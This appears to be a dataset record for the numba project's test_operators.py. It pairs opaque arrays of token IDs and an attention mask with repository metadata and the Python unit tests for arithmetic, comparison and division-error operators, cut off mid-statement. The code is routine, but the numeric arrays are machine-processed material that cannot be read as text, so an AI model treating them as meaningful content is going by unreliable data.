6849, 297, 283, 4032, 63, 3097, 1333, 202, 199, 2836, 26, 1128, 7587, 43, 63, 13387, 275, 1227, 8428, 202, 199, 692, 664, 2028, 5894, 360, 3357, 297, 283, 6849, 297, 283, 3266, 63, 3097, 735, 1128, 8729, 13199, 63, 13387, 275, 1109, 8, 27988, 5894, 360, 3357, 297, 283, 6849, 297, 283, 3266, 63, 3097, 1333, 202, 199, 2836, 26, 1128, 8729, 13199, 63, 13387, 275, 1227, 8428, 202, 199, 692, 664, 2028, 5894, 360, 2065, 2072, 297, 283, 10462, 16, 297, 283, 10421, 63, 5286, 63, 4908, 735, 1128, 12565, 540, 14112, 63, 10293, 275, 1109, 8, 27988, 5894, 360, 2065, 2072, 297, 283, 10462, 16, 297, 283, 10421, 63, 5286, 63, 4908, 1333, 627, 18553, 202, 199, 2836, 26, 1128, 12565, 540, 14112, 63, 10293, 275, 841, 627, 18553, 2999, 199, 893, 26, 1128, 663, 202, 199, 2590, 12746, 26, 1128, 687, 5951, 492, 2494, 465, 663, 2999, 199, 9233, 8, 1274, 9, 202, 199, 1274, 14, 409, 27205, 28139, 8, 298, 1624, 13, 24, 2, 776, 2999, 199, 10462, 16, 63, 8757, 275, 298, 3607, 13, 993, 13, 993, 13, 993, 13, 15672, 2, 202, 199, 1273, 6851, 275, 1052, 2999, 199, 318, 886, 1628, 8, 589, 12, 1324, 505, 29, 403, 304, 1128, 408, 12049, 282, 3873, 12, 2066, 372, 2399, 372, 1233, 12, 3839, 436, 4635, 624, 1128, 6499, 275, 671, 7942, 19, 8, 589, 12, 715, 9, 1128, 340, 1324, 505, 1137, 488, 26, 1039, 6499, 14, 475, 1739, 14, 952, 8, 1210, 505, 9, 1128, 3839, 275, 6499, 14, 504, 1739, 1128, 4635, 275, 6499, 14, 335, 382, 2303, 1128, 4819, 275, 6499, 14, 2573, 342, 1128, 372, 334, 1195, 12, 3839, 12, 4635, 9, 2999, 199, 3, 11016, 9460, 202, 199, 3, 20511, 17653, 367, 30211, 3261, 24425, 202, 199, 3, 11016, 9460, 2999, 199, 318, 20388, 63, 1246, 63, 3742, 8, 585, 304, 1128, 408, 55, 8146, 282, 372, 574, 315, 30211, 3735, 1475, 1041, 1128, 340, 574, 365, 488, 26, 1039, 308, 275, 2125, 1128, 587, 26, 1039, 308, 275, 1059, 2021, 8, 585, 9, 1128, 372, 2420, 3694, 582, 298, 8300, 401, 298, 1110, 582, 308, 93, 2999, 199, 318, 20388, 63, 1246, 63, 3742, 63, 1647, 837, 1128, 408, 1767, 3182, 12, 1325, 8025, 14292, 949, 372, 574, 1041, 1128, 372, 20388, 63, 1246, 63, 3742, 10804, 2999, 199, 318, 20388, 63, 1246, 63, 705, 8, 705, 304, 1128, 408, 55, 8146, 376, 1125, 574, 315, 30211, 3735, 1475, 1041, 1128, 340, 730, 8, 705, 9, 508, 2008, 26, 1039, 1125, 275, 769, 8, 705, 9, 1128, 340, 730, 8, 705, 9, 1137, 769, 26, 1039, 1125, 275, 359, 705, 61, 1128, 340, 822, 8, 705, 9, 508, 378, 26, 1039, 1125, 275, 788, 17681, 63, 3170, 297, 283, 4699, 769, 1627, 370, 20388, 63, 1246, 63, 705, 418, 2958, 372, 469, 298, 3694, 582, 298, 6782, 401, 17554, 298, 547, 5831, 582, 359, 495, 8, 88, 9, 367, 671, 315, 1125, 61, 789, 8065, 199, 318, 20388, 63 ]
[ 5190, 202, 199, 646, 6485, 202, 199, 646, 747, 202, 199, 646, 10703, 202, 199, 646, 1059, 202, 199, 646, 984, 202, 199, 646, 5796, 202, 199, 646, 900, 202, 199, 646, 19122, 202, 199, 646, 2838, 202, 199, 646, 2702, 202, 199, 646, 1331, 202, 199, 646, 295, 2999, 199, 646, 31314, 7705, 12, 31314, 7705, 2354, 12, 31314, 1716, 12, 31314, 36, 10528, 12, 31314, 2028, 202, 199, 646, 31314, 14054, 12, 31314, 4476, 2988, 12, 31314, 1282, 1311, 475, 264, 12, 31314, 2090, 7506, 202, 199, 504, 20388, 14, 88, 500, 14, 18273, 5453, 3735, 492, 699, 46, 5453, 3735, 202, 199, 504, 20388, 14, 1974, 14, 17596, 1258, 492, 7146, 4936, 202, 199, 504, 20388, 14, 88, 500, 492, 5377, 465, 3805, 2580, 202, 199, 504, 31314, 14054, 492, 943, 202, 199, 504, 31314, 4491, 492, 31314, 4491, 202, 199, 504, 31314, 547, 492, 627, 202, 199, 504, 31314, 4476, 492, 31314, 4476, 202, 199, 504, 20388, 14, 1974, 492, 3384, 465, 2312, 8996, 202, 199, 504, 20388, 14, 1974, 492, 5365, 8077, 202, 199, 504, 20388, 14, 88, 500, 492, 308, 9290, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 11011, 5453, 492, 31314, 11011, 5453, 202, 199, 504, 31314, 2817, 51, 30414, 492, 1256, 465, 1790, 63, 2609, 202, 199, 504, 20388, 14, 1974, 14, 17596, 773, 18, 492, 1059, 2021, 202, 199, 504, 20388, 14, 1974, 492, 12965, 5559, 202, 199, 504, 20388, 14, 1974, 14, 9290, 1490, 492, 671, 7942, 19, 2999, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 14316, 63, 6689, 63, 40, 19600, 1149, 12, 14316, 63, 6689, 63, 8470, 8558, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 14316, 63, 6689, 63, 17305, 12, 14316, 63, 6689, 63, 51, 28011, 25518, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 14316, 63, 6689, 63, 24340, 8819, 12, 14316, 63, 6689, 63, 11588, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 14316, 63, 6689, 63, 2944, 8100, 1149, 12, 869, 6849, 63, 7258, 63, 1348, 2252, 63, 51, 63, 6689, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 812, 1914, 63, 3472, 63, 8893, 12, 812, 1914, 63, 3472, 63, 5943, 63, 2711, 12, 812, 1914, 63, 3472, 63, 3022, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 25699, 63, 13669, 63, 3243, 12, 25699, 63, 13669, 63, 2339, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 445, 36, 63, 54, 11156, 63, 3472, 63, 8893, 12, 6186, 63, 6294, 63, 3243, 202, 199, 504, 20388, 14, 88, 500, 14, 56, 500, 22185, 492, 7240, 22492, 63, 5569, 63, 3817, 202, 199, 504, 31314, 3735, 22185, 492, 627, 202, 199, 504, 20388, 14, 88, 500, 14, 2028, 9562, 492, 664, 2028, 5894, 2999, 199, 6487, 275, 6619, 627, 6619, 627, 6619, 2999, 199, 692, 664, 2028, 5894, 360, 3357, 297, 283, 6849, 297, 283, 4032, 63, 3097, 735, 1128, 7587, 43, 63, 13387, 275, 1109, 8, 27988, 5894, 360, 3357, 297, 283, 6849, 297, 283, 4032, 63, 3097, 1333, 202, 199, 2836, 26, 1128, 7587, 43, 63, 13387, 275, 1227, 8428, 202, 199, 692, 664, 2028, 5894, 360, 3357, 297, 283, 6849, 297, 283, 3266, 63, 3097, 735, 1128, 8729, 13199, 63, 13387, 275, 1109, 8, 27988, 5894, 360, 3357, 297, 283, 6849, 297, 283, 3266, 63, 3097, 1333, 202, 199, 2836, 26, 1128, 8729, 13199, 63, 13387, 275, 1227, 8428, 202, 199, 692, 664, 2028, 5894, 360, 2065, 2072, 297, 283, 10462, 16, 297, 283, 10421, 63, 5286, 63, 4908, 735, 1128, 12565, 540, 14112, 63, 10293, 275, 1109, 8, 27988, 5894, 360, 2065, 2072, 297, 283, 10462, 16, 297, 283, 10421, 63, 5286, 63, 4908, 1333, 627, 18553, 202, 199, 2836, 26, 1128, 12565, 540, 14112, 63, 10293, 275, 841, 627, 18553, 2999, 199, 893, 26, 1128, 663, 202, 199, 2590, 12746, 26, 1128, 687, 5951, 492, 2494, 465, 663, 2999, 199, 9233, 8, 1274, 9, 202, 199, 1274, 14, 409, 27205, 28139, 8, 298, 1624, 13, 24, 2, 776, 2999, 199, 10462, 16, 63, 8757, 275, 298, 3607, 13, 993, 13, 993, 13, 993, 13, 15672, 2, 202, 199, 1273, 6851, 275, 1052, 2999, 199, 318, 886, 1628, 8, 589, 12, 1324, 505, 29, 403, 304, 1128, 408, 12049, 282, 3873, 12, 2066, 372, 2399, 372, 1233, 12, 3839, 436, 4635, 624, 1128, 6499, 275, 671, 7942, 19, 8, 589, 12, 715, 9, 1128, 340, 1324, 505, 1137, 488, 26, 1039, 6499, 14, 475, 1739, 14, 952, 8, 1210, 505, 9, 1128, 3839, 275, 6499, 14, 504, 1739, 1128, 4635, 275, 6499, 14, 335, 382, 2303, 1128, 4819, 275, 6499, 14, 2573, 342, 1128, 372, 334, 1195, 12, 3839, 12, 4635, 9, 2999, 199, 3, 11016, 9460, 202, 199, 3, 20511, 17653, 367, 30211, 3261, 24425, 202, 199, 3, 11016, 9460, 2999, 199, 318, 20388, 63, 1246, 63, 3742, 8, 585, 304, 1128, 408, 55, 8146, 282, 372, 574, 315, 30211, 3735, 1475, 1041, 1128, 340, 574, 365, 488, 26, 1039, 308, 275, 2125, 1128, 587, 26, 1039, 308, 275, 1059, 2021, 8, 585, 9, 1128, 372, 2420, 3694, 582, 298, 8300, 401, 298, 1110, 582, 308, 93, 2999, 199, 318, 20388, 63, 1246, 63, 3742, 63, 1647, 837, 1128, 408, 1767, 3182, 12, 1325, 8025, 14292, 949, 372, 574, 1041, 1128, 372, 20388, 63, 1246, 63, 3742, 10804, 2999, 199, 318, 20388, 63, 1246, 63, 705, 8, 705, 304, 1128, 408, 55, 8146, 376, 1125, 574, 315, 30211, 3735, 1475, 1041, 1128, 340, 730, 8, 705, 9, 508, 2008, 26, 1039, 1125, 275, 769, 8, 705, 9, 1128, 340, 730, 8, 705, 9, 1137, 769, 26, 1039, 1125, 275, 359, 705, 61, 1128, 340, 822, 8, 705, 9, 508, 378, 26, 1039, 1125, 275, 788, 17681, 63, 3170, 297, 283, 4699, 769, 1627, 370, 20388, 63, 1246, 63, 705, 418, 2958, 372, 469, 298, 3694, 582, 298, 6782, 401, 17554, 298, 547, 5831, 582, 359, 495, 8, 88, 9, 367, 671, 315, 1125, 61, 789, 8065, 199, 318, 20388, 63, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
ssarangi/numba
numba/tests/test_operators.py
2
45894
from __future__ import print_function import copy import itertools import operator import warnings import numpy as np from numba.compiler import compile_isolated, Flags from numba import types, typeinfer, utils from numba.config import PYVERSION from .support import TestCase from numba.tests.true_div_usecase import truediv_usecase, itruediv_usecase import numba.unittest_support as unittest Noflags = Flags() force_pyobj_flags = Flags() force_pyobj_flags.set("enable_pyobject") force_pyobj_flags = Flags() force_pyobj_flags.set("force_pyobject") class LiteralOperatorImpl(object): @staticmethod def add_usecase(x, y): return x + y @staticmethod def iadd_usecase(x, y): x += y return x @staticmethod def sub_usecase(x, y): return x - y @staticmethod def isub_usecase(x, y): x -= y return x @staticmethod def mul_usecase(x, y): return x * y @staticmethod def imul_usecase(x, y): x *= y return x @staticmethod def div_usecase(x, y): return x / y @staticmethod def idiv_usecase(x, y): x /= y return x @staticmethod def floordiv_usecase(x, y): return x // y @staticmethod def ifloordiv_usecase(x, y): x //= y return x truediv_usecase = staticmethod(truediv_usecase) itruediv_usecase = staticmethod(itruediv_usecase) @staticmethod def mod_usecase(x, y): return x % y @staticmethod def imod_usecase(x, y): x %= y return x @staticmethod def pow_usecase(x, y): return x ** y @staticmethod def ipow_usecase(x, y): x **= y return x @staticmethod def bitshift_left_usecase(x, y): return x << y @staticmethod def bitshift_ileft_usecase(x, y): x <<= y return x @staticmethod def bitshift_right_usecase(x, y): return x >> y @staticmethod def bitshift_iright_usecase(x, y): x >>= y return x @staticmethod def bitwise_and_usecase(x, y): return x & y @staticmethod def bitwise_iand_usecase(x, y): x &= y return x @staticmethod def bitwise_or_usecase(x, y): return x | y @staticmethod def bitwise_ior_usecase(x, y): x |= y return x @staticmethod def bitwise_xor_usecase(x, y): return x ^ y @staticmethod def bitwise_ixor_usecase(x, y): x ^= y return x @staticmethod def bitwise_not_usecase_binary(x, _unused): return ~x @staticmethod def bitwise_not_usecase(x): return ~x @staticmethod def not_usecase(x): return not(x) @staticmethod def negate_usecase(x): return -x @staticmethod def unary_positive_usecase(x): return +x @staticmethod def lt_usecase(x, y): return x < y @staticmethod def le_usecase(x, y): return x <= y @staticmethod def gt_usecase(x, y): return x > y @staticmethod def ge_usecase(x, y): return x >= y @staticmethod def eq_usecase(x, y): return x == y @staticmethod def ne_usecase(x, y): return x != y class FunctionalOperatorImpl(object): @staticmethod def add_usecase(x, y): return operator.add(x, y) @staticmethod def iadd_usecase(x, y): return operator.iadd(x, y) @staticmethod def sub_usecase(x, y): return operator.sub(x, y) @staticmethod def isub_usecase(x, y): return operator.isub(x, y) @staticmethod def mul_usecase(x, y): return operator.mul(x, y) @staticmethod def imul_usecase(x, y): return operator.imul(x, y) if PYVERSION >= (3, 0): div_usecase = NotImplemented idiv_usecase = NotImplemented else: @staticmethod def div_usecase(x, y): return operator.div(x, y) @staticmethod def idiv_usecase(x, y): return operator.idiv(x, y) @staticmethod def floordiv_usecase(x, y): return operator.floordiv(x, y) @staticmethod def ifloordiv_usecase(x, y): return operator.ifloordiv(x, y) @staticmethod def truediv_usecase(x, y): return operator.truediv(x, y) @staticmethod def itruediv_usecase(x, y): return operator.itruediv(x, y) @staticmethod def mod_usecase(x, y): return operator.mod(x, y) @staticmethod def imod_usecase(x, y): return operator.imod(x, y) @staticmethod def pow_usecase(x, y): return operator.pow(x, y) @staticmethod def ipow_usecase(x, y): return operator.ipow(x, y) @staticmethod def bitshift_left_usecase(x, y): return operator.lshift(x, y) @staticmethod def bitshift_ileft_usecase(x, y): return operator.ilshift(x, y) @staticmethod def bitshift_right_usecase(x, y): return operator.rshift(x, y) @staticmethod def bitshift_iright_usecase(x, y): return operator.irshift(x, y) @staticmethod def bitwise_and_usecase(x, y): return operator.and_(x, y) @staticmethod def bitwise_iand_usecase(x, y): return operator.iand(x, y) @staticmethod def bitwise_or_usecase(x, y): return operator.or_(x, y) @staticmethod def bitwise_ior_usecase(x, y): return operator.ior(x, y) @staticmethod def bitwise_xor_usecase(x, y): return operator.xor(x, y) @staticmethod def bitwise_ixor_usecase(x, y): return operator.ixor(x, y) @staticmethod def bitwise_not_usecase_binary(x, _unused): return operator.invert(x) @staticmethod def bitwise_not_usecase(x): return operator.invert(x) @staticmethod def not_usecase(x): return operator.not_(x) @staticmethod def negate_usecase(x): return operator.neg(x) @staticmethod def unary_positive_usecase(x): return operator.pos(x) @staticmethod def lt_usecase(x, y): return operator.lt(x, y) @staticmethod def le_usecase(x, y): return operator.le(x, y) @staticmethod def gt_usecase(x, y): return operator.gt(x, y) @staticmethod def ge_usecase(x, y): return operator.ge(x, y) @staticmethod def eq_usecase(x, y): return operator.eq(x, y) @staticmethod def ne_usecase(x, y): return operator.ne(x, y) class TestOperators(TestCase): op = LiteralOperatorImpl def run_test_ints(self, pyfunc, x_operands, y_operands, types_list, flags=force_pyobj_flags): if pyfunc is NotImplemented: self.skipTest("test irrelevant on this version of Python") for arg_types in types_list: cr = compile_isolated(pyfunc, arg_types, flags=flags) cfunc = cr.entry_point for x, y in itertools.product(x_operands, y_operands): # For inplace ops, we check that the first operand # was correctly mutated. x_got = copy.copy(x) x_expected = copy.copy(x) got = cfunc(x_got, y) expected = pyfunc(x_expected, y) self.assertTrue(np.all(got == expected), "mismatch for (%r, %r) with types %s: %r != %r" % (x, y, arg_types, got, expected)) self.assertTrue(np.all(x_got == x_expected), "mismatch for (%r, %r) with types %s: %r != %r" % (x, y, arg_types, x_got, x_expected)) def run_test_floats(self, pyfunc, x_operands, y_operands, types_list, flags=force_pyobj_flags): if pyfunc is NotImplemented: self.skipTest("test irrelevant on this version of Python") for arg_types in types_list: cr = compile_isolated(pyfunc, arg_types, flags=flags) cfunc = cr.entry_point for x, y in itertools.product(x_operands, y_operands): # For inplace ops, we check that the first operand # was correctly mutated. x_got = copy.copy(x) x_expected = copy.copy(x) got = cfunc(x_got, y) expected = pyfunc(x_expected, y) self.assertTrue(np.allclose(got, expected)) self.assertTrue(np.allclose(x_got, x_expected)) def coerce_operand(self, op, numba_type): if hasattr(op, "dtype"): return numba_type.cast_python_value(op) elif numba_type in types.unsigned_domain: return abs(int(op.real)) elif numba_type in types.integer_domain: return int(op.real) elif numba_type in types.real_domain: return float(op.real) else: return op def run_test_scalar_compare(self, pyfunc, flags=force_pyobj_flags, ordered=True): ops = self.compare_scalar_operands types_list = self.compare_types if not ordered: types_list = types_list + self.compare_unordered_types for typ in types_list: cr = compile_isolated(pyfunc, (typ, typ), flags=flags) cfunc = cr.entry_point for x, y in itertools.product(ops, ops): x = self.coerce_operand(x, typ) y = self.coerce_operand(y, typ) expected = pyfunc(x, y) got = cfunc(x, y) # Scalar ops => scalar result self.assertIs(type(got), type(expected)) self.assertEqual(got, expected, "mismatch with %r (%r, %r)" % (typ, x, y)) def run_test_array_compare(self, pyfunc, flags=force_pyobj_flags, ordered=True): ops = np.array(self.compare_scalar_operands) types_list = self.compare_types if not ordered: types_list = types_list + self.compare_unordered_types for typ in types_list: array_type = types.Array(typ, 1, 'C') cr = compile_isolated(pyfunc, (array_type, array_type), flags=flags) cfunc = cr.entry_point with warnings.catch_warnings(): warnings.simplefilter('ignore', np.ComplexWarning) arr = typ.cast_python_value(ops) for i in range(len(arr)): x = arr y = np.concatenate((arr[i:], arr[:i])) expected = pyfunc(x, y) got = cfunc(x, y) # Array ops => array result self.assertEqual(got.dtype, expected.dtype) self.assertTrue(np.all(got == expected), "mismatch with %r (%r, %r): %r != %r" % (typ, x, y, got, expected)) # # Comparison operators # compare_scalar_operands = [-0.5, -1.0 + 1j, -1.0 + 2j, -0.5 + 1j, 1.5] compare_types = [types.int32, types.int64, types.uint32, types.uint64, types.float32, types.float64] compare_unordered_types = [types.complex64, types.complex128] def test_lt_scalar(self, flags=force_pyobj_flags): self.run_test_scalar_compare(self.op.lt_usecase, flags) def test_lt_scalar_npm(self): self.test_lt_scalar(flags=Noflags) def test_le_scalar(self, flags=force_pyobj_flags): self.run_test_scalar_compare(self.op.le_usecase, flags) def test_le_scalar_npm(self): self.test_le_scalar(flags=Noflags) def test_gt_scalar(self, flags=force_pyobj_flags): self.run_test_scalar_compare(self.op.gt_usecase, flags) def test_gt_scalar_npm(self): self.test_gt_scalar(flags=Noflags) def test_ge_scalar(self, flags=force_pyobj_flags): self.run_test_scalar_compare(self.op.ge_usecase, flags) def test_ge_scalar_npm(self): self.test_ge_scalar(flags=Noflags) def test_eq_scalar(self, flags=force_pyobj_flags): self.run_test_scalar_compare(self.op.eq_usecase, flags, ordered=False) def test_eq_scalar_npm(self): self.test_eq_scalar(flags=Noflags) def test_ne_scalar(self, flags=force_pyobj_flags): self.run_test_scalar_compare(self.op.ne_usecase, flags, ordered=False) def test_ne_scalar_npm(self): self.test_ne_scalar(flags=Noflags) def test_eq_array(self, flags=force_pyobj_flags): self.run_test_array_compare(self.op.eq_usecase, flags, ordered=False) def test_eq_array_npm(self): with self.assertTypingError(): self.test_eq_array(flags=Noflags) def test_ne_array(self, flags=force_pyobj_flags): self.run_test_array_compare(self.op.ne_usecase, flags, ordered=False) def test_ne_array_npm(self): with self.assertTypingError(): self.test_ne_array(flags=Noflags) def test_lt_array(self, flags=force_pyobj_flags): self.run_test_array_compare(self.op.lt_usecase, flags) def test_lt_array_npm(self): with self.assertTypingError(): self.test_lt_array(flags=Noflags) def test_le_array(self, flags=force_pyobj_flags): self.run_test_array_compare(self.op.le_usecase, flags) def test_le_array_npm(self): with self.assertTypingError(): self.test_le_array(flags=Noflags) def test_gt_array(self, flags=force_pyobj_flags): self.run_test_array_compare(self.op.gt_usecase, flags) def test_gt_array_npm(self): with self.assertTypingError(): self.test_gt_array(flags=Noflags) def test_ge_array(self, flags=force_pyobj_flags): self.run_test_array_compare(self.op.ge_usecase, flags) def test_ge_array_npm(self): with self.assertTypingError(): self.test_ge_array(flags=Noflags) # # Arithmetic operators # def run_binop_ints(self, pyfunc, flags=force_pyobj_flags): x_operands = [-5, 0, 1, 2] y_operands = [-3, -1, 1, 3] types_list = [(types.int32, types.int32), (types.int64, types.int64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [2, 3] y_operands = [1, 2] types_list = [(types.byte, types.byte), (types.uint32, types.uint32), (types.uint64, types.uint64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_binop_floats(self, pyfunc, flags=force_pyobj_flags): x_operands = [-1.1, 0.0, 1.1] y_operands = [-1.5, 0.8, 2.1] types_list = [(types.float32, types.float32), (types.float64, types.float64)] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_binop_complex(self, pyfunc, flags=force_pyobj_flags): x_operands = [-1.1 + 0.3j, 0.0 + 0.0j, 1.1j] y_operands = [-1.5 - 0.7j, 0.8j, 2.1 - 2.0j] types_list = [(types.complex64, types.complex64), (types.complex128, types.complex128)] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_binop_array_ints(self, pyfunc, flags=force_pyobj_flags): array = np.arange(-10, 10, dtype=np.int32) x_operands = [array[1:]] y_operands = [array[:-1]] arraytype = types.Array(types.int32, 1, 'C') types_list = [(arraytype, arraytype)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_binop_array_floats(self, pyfunc, flags=force_pyobj_flags): array = np.arange(-1, 1, 0.1, dtype=np.float32) x_operands = [array] y_operands = [array] arraytype = types.Array(types.float32, 1, 'C') types_list = [(arraytype, arraytype)] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_binop_array_complex(self, pyfunc, flags=force_pyobj_flags): array = np.arange(-1, 1, 0.1, dtype=np.complex64) * (1.5 + 0.8j) x_operands = [array] y_operands = [array] arraytype = types.Array(types.complex64, 1, 'C') types_list = [(arraytype, arraytype)] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def generate_binop_tests(ns, usecases, tp_runners, npm_array=False): for usecase in usecases: for tp_name, runner_name in tp_runners.items(): for nopython in (False, True): test_name = "test_%s_%s" % (usecase, tp_name) if nopython: test_name += "_npm" flags = Noflags if nopython else force_pyobj_flags usecase_name = "%s_usecase" % usecase def inner(self, runner_name=runner_name, usecase_name=usecase_name, flags=flags): runner = getattr(self, runner_name) op_usecase = getattr(self.op, usecase_name) runner(op_usecase, flags) if nopython and 'array' in tp_name and not npm_array: def test_meth(self): with self.assertTypingError(): inner() else: test_meth = inner test_meth.__name__ = test_name ns[test_name] = test_meth generate_binop_tests(locals(), ('add', 'iadd', 'sub', 'isub', 'mul', 'imul'), {'ints': 'run_binop_ints', 'floats': 'run_binop_floats', 'complex': 'run_binop_complex', 'ints_array': 'run_binop_array_ints', 'floats_array': 'run_binop_array_floats', 'complex_array': 'run_binop_array_complex', }) # NOTE: truediv doesn't handle int arrays in Numpy 1.10+ generate_binop_tests(locals(), ('div', 'idiv', 'truediv', 'itruediv'), {'ints': 'run_binop_ints', 'floats': 'run_binop_floats', 'complex': 'run_binop_complex', 'floats_array': 'run_binop_array_floats', 'complex_array': 'run_binop_array_complex', }) # NOTE: floordiv and mod unsupported for complex numbers generate_binop_tests(locals(), ('floordiv', 'ifloordiv', 'mod', 'imod'), {'ints': 'run_binop_ints', 'floats': 'run_binop_floats', 'ints_array': 'run_binop_array_ints', 'floats_array': 'run_binop_array_floats', }) def check_div_errors(self, usecase_name, msg, flags=force_pyobj_flags, allow_complex=False): pyfunc = getattr(self.op, usecase_name) if pyfunc is NotImplemented: self.skipTest("%r not implemented" % (usecase_name,)) # Signed and unsigned division can take different code paths, # test them both. arg_types = [types.int32, types.uint32, types.float64] if allow_complex: arg_types.append(types.complex128) for tp in arg_types: cr = compile_isolated(pyfunc, (tp, tp), flags=flags) cfunc = cr.entry_point with self.assertRaises(ZeroDivisionError) as cm: cfunc(1, 0) # Test exception message if not in object mode if flags is not force_pyobj_flags: self.assertIn(msg, str(cm.exception)) def test_truediv_errors(self, flags=force_pyobj_flags): self.check_div_errors("truediv_usecase", "division by zero", flags=flags, allow_complex=True) def test_truediv_errors_npm(self): self.test_truediv_errors(flags=Noflags) def test_floordiv_errors(self, flags=force_pyobj_flags): self.check_div_errors("floordiv_usecase", "division by zero", flags=flags) def test_floordiv_errors_npm(self): self.test_floordiv_errors(flags=Noflags) def test_div_errors(self, flags=force_pyobj_flags): self.check_div_errors("div_usecase", "division by zero", flags=flags) def test_div_errors_npm(self): self.test_div_errors(flags=Noflags) def test_mod_errors(self, flags=force_pyobj_flags): self.check_div_errors("mod_usecase", "modulo by zero", flags=flags) def test_mod_errors_npm(self): self.test_mod_errors(flags=Noflags) def run_pow_ints(self, pyfunc, flags=force_pyobj_flags): x_operands = [-2, -1, 0, 1, 2] y_operands = [0, 1, 2] types_list = [(types.int32, types.int32), (types.int64, types.int64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [0, 1, 2] y_operands = [0, 1, 2] types_list = [(types.byte, types.byte), (types.uint32, types.uint32), (types.uint64, types.uint64)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_pow_floats(self, pyfunc, flags=force_pyobj_flags): x_operands = [-222.222, -111.111, 111.111, 222.222] y_operands = [-2, -1, 0, 1, 2] types_list = [(types.float32, types.float32), (types.float64, types.float64)] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) x_operands = [0.0] y_operands = [0, 1, 2] # TODO native handling of 0 ** negative power types_list = [(types.float32, types.float32), (types.float64, types.float64)] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_pow_ints_array(self, pyfunc, flags=force_pyobj_flags): array = np.arange(-10, 10, dtype=np.int32) x_operands = [array] y_operands = [array] arraytype = types.Array(types.int32, 1, 'C') types_list = [(arraytype, arraytype)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) def run_pow_floats_array(self, pyfunc, flags=force_pyobj_flags): # NOTE # If x is finite negative and y is finite but not an integer, # it causes a domain error array = np.arange(0.1, 1, 0.1, dtype=np.float32) x_operands = [array] y_operands = [array] arraytype = types.Array(types.float32, 1, 'C') types_list = [(arraytype, arraytype)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) x_array = np.arange(-1, 0.1, 0.1, dtype=np.float32) y_array = np.arange(len(x_array), dtype=np.float32) x_operands = [x_array] y_operands = [y_array] arraytype = types.Array(types.float32, 1, 'C') types_list = [(arraytype, arraytype)] self.run_test_ints(pyfunc, x_operands, y_operands, types_list, flags=flags) # XXX power operator is unsupported on complex numbers (see issue #488) generate_binop_tests(locals(), ('pow', 'ipow'), {'ints': 'run_pow_ints', 'floats': 'run_pow_floats', 'ints_array': 'run_pow_ints_array', 'floats_array': 'run_pow_floats_array', }) def test_add_complex(self, flags=force_pyobj_flags): pyfunc = self.op.add_usecase x_operands = [1+0j, 1j, -1-1j] y_operands = x_operands types_list = [(types.complex64, types.complex64), (types.complex128, types.complex128),] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def test_add_complex_npm(self): self.test_add_complex(flags=Noflags) def test_sub_complex(self, flags=force_pyobj_flags): pyfunc = self.op.sub_usecase x_operands = [1+0j, 1j, -1-1j] y_operands = [1, 2, 3] types_list = [(types.complex64, types.complex64), (types.complex128, types.complex128),] self.run_test_floats(pyfunc, x_operands, y_operands, types_list, flags=flags) def test_sub_complex_npm(self): self.test_sub_complex(flags=Noflags) def test_mul_complex(self, flags=force_pyobj_flags): pyfunc = 